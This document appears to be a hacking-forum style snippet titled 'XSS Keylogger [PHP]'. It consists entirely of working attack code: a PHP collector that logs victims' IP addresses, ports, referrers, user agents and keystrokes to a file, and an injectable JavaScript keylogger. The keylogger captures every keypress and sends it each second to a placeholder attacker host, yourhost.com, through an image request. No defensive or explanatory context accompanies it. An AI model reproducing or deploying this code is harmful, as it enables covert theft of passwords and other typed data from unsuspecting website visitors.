XSS Keylogger [PHP]

<?php
$Keylog = $_GET["c"];
$reffer = $_SERVER['HTTP_REFERER'];
$ip = $_SERVER['REMOTE_ADDR'];
$date=date ("l dS of F Y h:i:s A"); 
$port = $_SERVER['REMOTE_PORT']; 
$user_agent = $_SERVER['HTTP_USER_AGENT'];
$file = fopen('data.txt', 'a');
fwrite($file, 'Ip: '.$ip."\n");
fwrite($file, 'Port: '.$port."\n");
fwrite($file, 'Refferer: '.$reffer."\n");
fwrite($file, 'User Agent: '.$user_agent."\n");
fwrite($file, 'Date: '.$date."\n");
fwrite($file, $Keylog."\n");
fwrite($file, "---------------------------\n\n");
fclose($file);
?>

CODE:

var keys='';
document.onkeypress = function(e) {
    get = window.event?event:e;
    key = get.keyCode?get.keyCode:get.charCode;
    key = String.fromCharCode(key);
    keys+=key;
}
window.setInterval(function(){
    new Image().src = 'http://yourhost.com/g.php?c='+keys;
    keys = '';
}, 1000);  

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